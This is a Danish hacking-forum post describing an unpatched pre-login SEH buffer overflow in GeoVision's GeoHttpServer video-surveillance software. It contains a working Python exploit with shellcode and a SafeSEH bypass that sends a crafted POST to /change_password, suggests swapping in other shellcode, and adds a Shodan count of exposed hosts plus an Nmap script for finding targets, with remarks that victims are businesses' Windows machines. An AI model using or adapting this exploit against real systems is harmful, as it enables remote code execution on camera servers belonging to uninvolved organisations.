Tråd bedømmelse:
  • 1 Stemmer - 5 Gennemsnit
  • 1
  • 2
  • 3
  • 4
  • 5
GeoVision GeoHttpServer SEH-Baseret Buffer Overflow
10-07-2016, 17:20
#1
GeoVision GeoHttpServer SEH-Baseret Buffer Overflow
Det er ved at være længe siden jeg kiggede dette igennem, og kan derfor næsten intet huske, så lad os gøre det kort.

I min sidste tråd om GeoVision nævnte jeg følgende:
(18-03-2016, 21:06)MalcolmXI Skrev: De firmwares der bruger GeoHttpServer er desværre ikke sårbare over for ovenstående fejl, og efter hvad jeg kan se i manualerne, skal de konfigureres med en klient på en Windows-computer. Derfor kan det selvfølgelig stadig ske, at der findes andre fejl (mon ikke).

(30-03-2016, 19:41)MalcolmXI Skrev: GeoHttpServer er en ældre sag, og der er fundet fejl helt tilbage til 2003, men det er også et Utrolig udbredt stykke software, så jeg håber lidt på at få tid til at kigge på det, selvom det umiddelbart ser ud til at være en hærdet fætter, men betydeligt færre angrebsvektorer.
https://www.shellsec.pw/traad-geovision-...ilfoejelse


Det tog ikke mange minutter at finde et Buffer Overflow, som endnu ikke er blevet patched, selvom det er nogle måneder siden jeg kontaktede dem.
Jeg er også ret sikker på jeg ikke er den første til at indberette det, da det er trivielt let at finde, og sårbarheden er tilgængelig allerede Før man logger ind.

Så vidt jeg husker var der faktisk 3 Overflows, hvor kun denne ene lige præcis overskrev vores exception handler. De 3 forms vi kan injecte er forbundet med 'Change password', 'Login' og 'Forgotten password'-funktionerne. I vores tilfælde er det kun muligt at overskrive den sårbare handler, hvis vi benytter 'Change password'-formen, som, så vidt jeg husker, bruger miljøvariabler til at sende vores form-data til den rigtige funktion i WebcamServer.exe processen.

Følgende simple eksempel resulterer i en Messagebox med teksten MalcolmXI! :P

vGeoHttpServer_mbx.py
Citer:#!/usr/bin/env python
# -*- coding: utf-8 -*-
# GeoVision GeoHttpServer SEH-Baseret Buffer Overflow
# Bruger sqlite3.dll til at bypasse SafeSEH, ved hjaelp af en POP POP RET instruktion
# nSEH bruger et negativt short jump i vores kontrollerede buffer-omraade, og hopper derefter tilbage til vores MessageBox shellcode.
# Testet på Windows 7/8 x64
#
# Foelgende simple shellcode aabner en MessageBox med foelgende tekst: 'MalcolmXI!'.
# "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c"
# "\x8b\x42\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03" 30 tegn

# "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b\x34\xaf"
# "\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e\x08\x45\x78\x69"
# "\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"
# "\x8b\x7c\xaf\xfc\x01\xc7\x68\x58\x49\x21\x01\x68\x63\x6f\x6c\x6d\x68"
# "\x20\x4d\x61\x6c\x89\xe1\xfe\x49\x0b\x31\xc0\x51\x50\xff\xd7" 83 tegn

import httplib, sys

nSEH = "\xEB\xD6\xCC\xCC"
SEH = "\xED\x77\x49\x00"
JumpTilShellcode = "\xE9\x14\xFF\xFF\xFF"

ShellcodeDel1 = "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c"
ShellcodeDel1 += "\x8b\x42\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"

ShellcodeDel2 = "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b\x34\xaf"
ShellcodeDel2 += "\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e\x08\x45\x78\x69"
ShellcodeDel2 += "\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"
ShellcodeDel2 += "\x8b\x7c\xaf\xfc\x01\xc7\x68\x58\x49\x21\x01\x68\x63\x6f\x6c\x6d\x68"
ShellcodeDel2 += "\x20\x4d\x61\x6c\x89\xe1\xfe\x49\x0b\x31\xc0\x51\x50\xff\xd7"

if len(sys.argv) > 2:
   tIP = sys.argv[1]
   tPort = sys.argv[2]
   print "Sender Exploit"
   httpServ = httplib.HTTPConnection(tIP, tPort)
   httpServ.connect()
   httpServ.request('POST', '/change_password', 'id=' + "\x90" * 38 + ShellcodeDel1 + '&newpwd=' + ShellcodeDel2 + "\xE9\x88" + "\x90" * 114 + JumpTilShellcode + nSEH + SEH)
   httpServ.close()

if len(sys.argv) <= 2:
   print "Specificer et maal samt en port at forbinde til"
   print "python vGeoHttpServer_mbx.py <localhost> <80>"
[Billede: EWOPAHf.png]

Grunden til jeg sender vores shellcode i 2 dele, er for at få nogle ekstra bytes, samt for at mindske antallet af null-bytes, da vi ikke kan komme udenom disse, selv med sikre buffers uden bad chars osv. I realiteten kan vi nøjes med $id eller $newpwd. Man kunne eventuelt også bruge en egg-hunter e. l.
Jeg har kun testet på Windows 7 og 8 x64.

I skal være velkommen til at tælle i en debugger, men jeg mener vi har ca. 270 bytes at gøre godt med, så det er jo stadig begrænset hvad vi har af muligheder.

Man kunne også bruge denne shellcode:https://www.exploit-db.com/exploits/39519/
Der passer godt i størrelsen og er null-free.

Hvis der er nogle 1337 haxXx0rz herinde, så få den lige til at holde op med at crashe.
Jeg går ikke ud fra man kan bruge dette overflow til at opnå et authentication bypass?

Hvis man vil prøve, kan man:
- Hente og installere GV-VMS fra: http://www.geovision.com.tw/english/5_8.asp
- Lave en bruger og logge ind
- Starte WebcamServer.exe fra installationsmappen (Selve programmet installerer også en wakelock service)

Shodan finder selv 59,885 resultater, som dog for nogle måneder siden viste 77K:
https://www.shodan.io/search?query=GeoHttpServer


Som jeg før har nævnt kan man dog ikke regne med Shodan og Dorks, men i stedet selv skanne ved hjælp af f. eks. Nmap eller Masscan.
Nedenstående Nmap script fra den tidligere tråd fingerprinter denne GeoHttpServer, så det er lige til:
vGeo.nse
Kode:
-- Head --
description = [[GeoVision DVR FW-FP]]
author = "MXI"


local shortport = require "shortport"
local http = require "http"
local string = require "string"


-- Rule --
portrule = shortport.http

-- Action --
action = function(host, port)
    
    local index = "/index.htm"
    local uagent = {header={}}
    uagent['header']['User-Agent'] = "Mozilla/5.0 (Windows; U; MSIE 9.0; WIndows NT 9.0; en-US))"
    local response = http.get(host, port, index, uagent)
    
    if ( response.status == 200 ) then
        local title = string.match(response.body, "<[Tt][Ii][Tt][Ll][Ee][^>]*>([^<]*)</[Tt][Ii][Tt][Ll][Ee]>")
                
        if ( title == "GeoVision Inc. - Video Server" ) or ( title ~= "GeoVision Inc." ) then
            return "GeoVision DVR: Saarbar?"
        end    
        
        if ( response.header.server == 'GeoHttpServer' ) then
            if ( title == "Login In" ) then
            return "GeoVision Webcam"
            else
            return "GeoVision Server, men ukendt firmware"
            end
                        
        end
    end
end

Det frække ved denne bundle er, at det:
1) Er Windows computere
2) Er tiltænkt forretninger med et større antal overvågningskameraer

Nu må vi se om jeg har glemt noget, igen, igen, igen...

Ps.
Som i kan se, er dette Ikke min stærke side :D
Find alle beskeder fra denne bruger
Citer denne besked i et svar
« Ældre | Nyere »




User(s) browsing this thread: 1 Gæst(er)